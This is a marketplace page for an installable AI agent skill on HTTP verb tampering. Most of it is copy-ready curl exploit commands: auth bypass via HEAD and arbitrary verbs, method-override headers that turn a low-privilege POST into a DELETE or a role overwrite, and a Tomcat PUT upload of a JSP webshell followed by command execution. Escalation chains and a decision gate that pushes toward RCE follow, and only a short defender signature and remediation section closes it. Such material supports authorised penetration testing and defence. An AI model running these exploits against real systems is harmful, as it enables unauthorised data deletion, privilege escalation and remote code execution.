# Verb Tampering

> HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.

- Skill: `purpleailab/verb-tampering` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/verb-tampering`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/verb-tampering/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/verb-tampering

---


# HTTP Verb / Method Tampering

Authorization is enforced for `GET`/`POST` but **not** for `HEAD`, `OPTIONS`, `PATCH`, `DELETE`, `PUT`, `TRACE`, `TRACK`, or arbitrary verbs like `FOO`. Or the app respects `X-HTTP-Method-Override` and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the `POST` ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.

## 1. Why it works

- Apache/nginx `Limit`/`LimitExcept` rules in `.htaccess` often list only `GET POST`. Any other verb is unrestricted.
- Tomcat / JSP `<security-constraint><http-method>GET</http-method>` only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family).
- API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring `@RequestMapping` without `method=` accepts every verb. `@GetMapping`/`@PostMapping` constrain, but generic mappings do not.
- Express.js `app.all(path, handler)` answers every method.
- Framework method-override middleware (`methodOverride` in Express, Rails `_method=DELETE`, `X-HTTP-Method-Override` in many) lets a `POST` *become* a `DELETE` after auth runs.
- Many WAFs ship rule sets keyed on `GET`/`POST` only.

## 2. Detection — does the endpoint answer non-standard verbs?

```bash
# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
  code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
  printf '%-10s -> %s\n' "$m" "$code"
done

# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
  curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.
```

`HEAD` is the highest-yield: per RFC 9110 it MUST be treated like `GET` minus the body, but servers diverge — middleware sometimes short-circuits auth on `HEAD`. Response headers and status leak data even with no body.

```bash
# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
```

## 3. Method-override headers

The app overrides the real method with the value of a header **after** the WAF/auth has classified the request as `POST` (allowed) or `GET` (allowed).

```bash
# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
  curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
    -o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done

# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data '_method=DELETE' -b "session=$LOWPRIV"

# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
```

## 4. Bypass patterns

| Pattern | Mechanic |
|---|---|
| `.htaccess` Limit | `<Limit GET POST>require valid-user</Limit>` blocks GET/POST only — try `HEAD`, `PUT`, custom verb. |
| Tomcat `<http-method>` constraint | The constraint applies **only** to listed methods. Use any other. |
| Spring generic `@RequestMapping("/path")` | Every verb routes here. Author meant only `POST`. |
| Express `app.all` / no method-guard | Same. |
| Method-override after auth | `POST /low-priv` allowed; `X-HTTP-Method-Override: DELETE` upgrades. |
| `_method=PATCH` body field | Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
| WAF gating on `GET`/`POST` only | Send the payload as `PATCH` or `FOO`. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
| WebDAV verbs (`PROPFIND`, `COPY`, `MOVE`, `PUT`, `MKCOL`) on IIS/Apache | Direct file upload / RCE on misconfigured WebDAV. |
| `OPTIONS *` | Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/* | grep -i allow`. |

## 5. Exploit PoCs

### 5.1 Admin action via HEAD bypass

```bash
# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"
```

### 5.2 Method-override DELETE

```bash
# Low-priv user can POST. Override flips to DELETE on a record they shouldn't touch.
curl -sk -X POST "http://<TARGET>/api/v1/users/9001" \
  -H 'X-HTTP-Method-Override: DELETE' \
  -H "Authorization: Bearer $LOWPRIV_JWT" -i
```

### 5.3 Tomcat PUT → JSP webshell (CVE-2017-12615 family)

```bash
curl -sk -X PUT "http://<TARGET>/uploads/shell.jsp/" \
  --data-binary @shell.jsp -H 'Content-Type: application/octet-stream' -i
# Trailing slash on the URI defeats the JSP filter on vulnerable Tomcats.
curl -sk "http://<TARGET>/uploads/shell.jsp?cmd=id"
```

### 5.4 OPTIONS leak + CORS pivot

```bash
curl -sk -X OPTIONS "http://<TARGET>/api/admin" -i | grep -iE 'allow|access-control-allow-methods'
# Use any listed method that bypasses auth in step 2.
```

### 5.5 TRACE / XST

```bash
curl -sk -X TRACE "http://<TARGET>/" -H 'X-Stolen: cookie-via-XSS' -i
# If TRACE echoes the request, XST chain with reflected XSS can read HttpOnly cookies.
```

### 5.6 Arbitrary verb

```bash
# Some servers route ANY method to the same handler — including FOO/BAR.
curl -sk -X FOO "http://<TARGET>/admin/users" -i
```

## 6. Chains

| Chain | Mechanic |
|---|---|
| **BFLA / IDOR** | Object scoping checked on `GET`, missing on `DELETE`/`PUT` — delete or modify other tenants' resources. |
| **Privilege escalation** | `POST /users` allowed → `X-HTTP-Method-Override: PUT` to overwrite `role=admin`. |
| **Mass-assignment** | `PATCH` accepted where `POST` is parameter-filtered — submit hidden fields. |
| **WAF bypass** | Whole rule sets attached only to `GET`/`POST`. Re-issue payload as `PATCH`. |
| **File RCE** | WebDAV `PUT`/`PROPFIND`/`MOVE` on IIS/Tomcat → write executable into web root. |
| **XST** | `TRACE` + reflected XSS → exfil HttpOnly cookies (now mostly mitigated by browsers, but still credible in custom clients). |
| **OPSEC noise reduction** | `HEAD` produces no response body — quieter scanning than `GET`. |

## 7. Tools

- Burp Suite — Repeater "Change request method", Intruder verb-payload list, **HTTP Method Interchange** extension.
- `nuclei -t http/misconfiguration/http-method-tampering*` / `http/misconfiguration/trace-method.yaml`.
- `nikto -Tuning 6` — method/file checks.
- `httpx -methods GET,POST,PUT,DELETE,PATCH,OPTIONS,HEAD,TRACE -path /admin -mc 200,302`.
- `davtest` / `cadaver` for WebDAV.
- `ffuf -X PATCH` etc. — fuzz every endpoint with each method.

## 8. Detection signatures (defenders)

| Signal | Source |
|---|---|
| Non-standard verbs in access logs (`PATCH`, `TRACE`, `FOO`) | nginx / Apache logs |
| `X-HTTP-Method-Override` header present and request body indicates state-change | WAF / reverse proxy logs |
| `OPTIONS` requests with `Origin` from outside CORS allowlist returning 2xx | API gateway logs |
| Successful `HEAD` on a `GET-401` path | correlation rule |
| Auth filter sees method `POST`, handler logs method `DELETE` | app telemetry |
| `TRACE`/`TRACK` enabled at all | config audit |

Remediation: enforce auth before method routing; treat `HEAD` as `GET` for auth purposes; ignore method-override headers unless explicitly required; allowlist methods per route (`405` everything else); disable `TRACE`/`TRACK`/unused WebDAV verbs at the server.

## 9. Decision gate

| Observation | Action |
|---|---|
| Verb sweep shows divergent status on protected path | Confirm with a state-changing PoC, escalate |
| `X-HTTP-Method-Override` flips the action | Chain to BFLA/IDOR/mass-assignment |
| Only response-size difference, no auth bypass | Low — fold into recon |
| `TRACE` echoes but no reflected XSS available | Note for chaining, do not over-report |
| PUT/WebDAV writes a file under web root | Critical, jump to RCE chain |

## Cross-references

- BFLA / object-level auth: `skills/standard/exploit/web/bfla/SKILL.md`
- Mass-assignment: `skills/standard/exploit/web/mass-assignment/SKILL.md`
- HPP (sister parser-discrepancy class): `skills/standard/exploit/web/hpp/SKILL.md`
- WAF bypass: `skills/standard/exploit/web/waf-bypass/SKILL.md`
- File upload / WebDAV RCE: `skills/standard/exploit/web/file-upload/SKILL.md`

